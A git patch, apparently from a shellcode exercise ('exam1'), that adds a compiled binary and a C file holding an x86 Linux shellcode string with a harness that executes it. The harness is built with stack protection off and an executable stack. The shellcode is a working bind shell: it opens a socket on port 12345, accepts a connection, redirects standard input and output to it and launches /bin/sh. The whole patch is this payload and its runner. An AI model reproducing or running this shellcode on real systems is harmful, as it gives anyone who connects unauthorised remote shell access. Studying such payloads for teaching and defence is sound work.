From 618a515dffd7958ad599e00c4edd5bbef5852218 Mon Sep 17 00:00:00 2001 From: arno01 Date: Fri, 8 Mar 2013 16:16:00 +0100 Subject: [PATCH] Added shellcode.c --- exam1/shellcode | Bin 0 -> 4964 bytes exam1/shellcode.c | 22 ++++++++++++++++++++++ 2 files changed, 22 insertions(+) create mode 100755 exam1/shellcode create mode 100644 exam1/shellcode.c diff --git a/exam1/shellcode b/exam1/shellcode new file mode 100755 index 0000000000000000000000000000000000000000..b313732d52d8a5369de0fc0adcd375d6af7f6b38 GIT binary patch literal 4964 zcmb7Ie{hsX8Q!~GAcX`%S`|rJzp;mcBbQ4I)YM;uOMsLs2}w$eDSTXV-{rgXa+kUL z4xx55@krq&i82-ye~bfG9sfX$WBy|Biv?M#@7^`DN;RIqgBu&8vT_>19up55E@ zlGYi!H}Ads?ECD#yZi0C-|qM2w%~S`%O!Mji!wp9HRGvhf{s-vOOr4}h1ekO6SZO) zifC&Z0S6*0pi()?JdiTlfSX2PhujTJp^a@*WMW;&SyZI3zNl7qS@sRsAg55_G=zR> zcSGes&cQ}`5tu?deNc9SzZ1SGt-us*>wMh_SE7F9n5Tl`g^i-^dte8AM_P^&a_VEz zzWP{rQ!E-!ANHjZzD8A!uF0|O*!_sC%YL#?H4xUj2g13beb;>OM{hotN%#h4?PFj3 z_Tyjj|13g2=YaDg=fV&MvNHeEU9aVsFHPj>WFYf^2GI2BUxGI-!RvspAN5qQZ)?PA zAxv{%C=oYPPAKV^rob@!IlL{xZ0|s6I2t$8DJv|7lhL>n5h*7bv*M^lVzJgxC>j?# zg6-P^W}~mz0XLqQ8>8Znb3|dPjz+8aG}{#v$G_>RScXBJf?f{&J!(wKX=+T|52?}F zN3ySXXRdqltkyd^Gl#V`{><${p)mHcQ=Y#MrTMq`mqQzm^}aMy*n9#t3+qqfpLGiB z>A`09+GSKLtfwcNwrlee)1%F9Udu^L&-Pm4DPZV@)bN)B*(;f=H#&Q|Y(M7G-ip6H zd+nQupZv2R-#oD>vG0>%@9mM#w0;Y{Nq_eIIjrC_I{`-Dm`3*b|F|=6xSC%{-Fsrv z`H0BmT+h;2xMz%3No;;4nV&6ZeHWVY^zNUTJR~MBe3YF+`zXtwxd8H5&Z#-aLS*i` z=<%|wF#pmFIOuWax^eC@#+CJW^DEHN?61$=MBlSLUJr|wqv&F*w~mx?Xja5XP{vO@io$o+)bfyKXE_1yu-+QM}m^^Qwg~<&6H(q?c;2tYD-iBM_ZPnRU zZ^d|9C6s5pjqVF4e@Rwm*42C``D*4jb-f47{WIfrUN}Via=y-RBgp)-;MAOF?!;v8 z?ZW(c8A{SOi<2O^CF^2(4c5Q}y0Q;zfN|%NJBJY6wiS!@C&HEywBiGf{h(p253hi| zw(L^|c;tG~p-)3MK|c=tRp{f;jA16%lU>5~RE4Xy(&IUfbykNm%4PVIvD>n$V$8j* zs=Va|Fa&l^A=utL?4O4g+8)T1KkYeI=I)$nnQgf!*<5&Bop-=xZ0dwA$hD_6%i&ta zQzi8DS3DI6C^3h}_|~05Vgh>~`%;N=?n7sRF-*}7SqY(^_d%FA<_SD%?m-5Gin|3(`t5JT%AAA{)f_o^Fm zQ;~*01O}H4x(40ZE0;#HvxAYx0u3*BMQnd_q&s_MuzJs48m1zFz@STKySilVnL+oy zsn1;+X+QF>hFqr|uTR-_eSKdv`&wuAPpCY#^3sUd5ePhJY{0I*(P;8D`L-C1{)R^X zC;Xd@4P92)*cozE`KBi9z`oRxAt%%a?Ie}9bq<@Vl^hnnc*3!KE!)~RIiZ0f8i=QT zed#D(I?=H35!s=XEqvi4akQtjlT?;NRx%Y$#1{b*wxks!UuA}4j_^g}QT#jBVf;q` zU`m8TPDuDH+l(YbLzZcWQBxz~>vs~#6x=B_*bgI`3=Kv5;Vyw@@aL0lt9JTQVD~46 zhOD^re?PifFu9hv7UdZNfa^^s+L-Q#@SRMaeAmNZAg_~-ody(Wo{bo=!SiYowC1%U ze+%oE?J;&HitWjGF7n9T4PpF{$Cx?`-a+IUW5~+(7+ZTGj4SdOgO$iI_H-hb=>UZB zLmp%2ATo?+?U&`0Cm@VB<{5J_WDMj>{Q`<7A$LK@W6VwGp#~_+_6}+q9bxMo+BaiZRi01K}xfPSdxz>qu$8-v! zdEC?HP?>wIPTKGHQ9vHti9C3D81C03XwCaE@|q{lei*3tU3k+aJU`Bde(;`p7v6J4 z9-lE^N<6ccZdBUu3ne_h#HarUZ?1&Lcl8DEbQ>@&!kbe zcNDOHdM%OnaZM`PXy?0!ZRs=&-faz_$zh`A8qlc@FGD|^-HU=v5c=iX;+ijQF9-)~ zODgL2Kzm2xe#Am`OH%ue!m0u8FA6IU+(#5vqvn30FdiBb_XUOdM1_ohg)vAZ#<{{$ z$#_I%wTL7y7pWSohC`6VGPg;o@1tEvm#WV0p@hcEKOd zZ9I$fNfO)8^CkS!bwmGr<4u+L9|itNasFIb)n5ZH_5WSq)5ZCx|6c&>#P)s#!1!dD z3n#PRLF@7H#&>lI{s*w0Zx`nq9n|w_h_zxRFz+l}i8b(73(Wl(P~r~*>trC)umraO zbG>jrcz+B6bDw6N8nH@r0rUD0miD#c(USUHEe>$${WAls`&W(romj&E0q~7t`)k~* z#m|9xd!oNJ?z_bWU|zrYoH(AjCG}qgmbWh0t1+K{1`gtRvOe+Ome_9re@BnUT_vgz z;=I>27u&A^=KGNKYj`5)PdX_ljoVQ_F2#YKjxICU-ra+nv}v|3LJtK>OyPt%5KHuh zVx~M+nW6Myfg{s!%yO)-Z*%hlje-U<8a_^RSeW+<5q9WkwVcyWRJP$10K zeY;y8ZVw0^`P63s(BwCP{#4qO2g`-xMIRW)Rg~mVB8o&5};2?-PsIW;m5F?NB@%W4rR9=m}crusjv3PaKQu p;xMbnA*aHUXIxCtmQQZ+4Oosj+;2K|I{t*O@34>`Lgeg;{{mUwnUDYg literal 0 HcmV?d00001 diff --git a/exam1/shellcode.c b/exam1/shellcode.c new file mode 100644 index 0000000..ec6c319 --- /dev/null +++ b/exam1/shellcode.c @@ -0,0 +1,22 @@ +/* + +To compile: +gcc -fno-stack-protector -z execstack shellcode.c -o shellcode + +*/ + +#include +#include + +unsigned char code[] = \ +"\x31\xc0\xb0\x66\x31\xdb\x43\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x31\xd2\x52\x66\x68\x30\x39\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; + +main() +{ + printf("Shellcode Length: %d\n", strlen(code)); + + int (*ret)() = (int(*)())code; + + ret(); +} +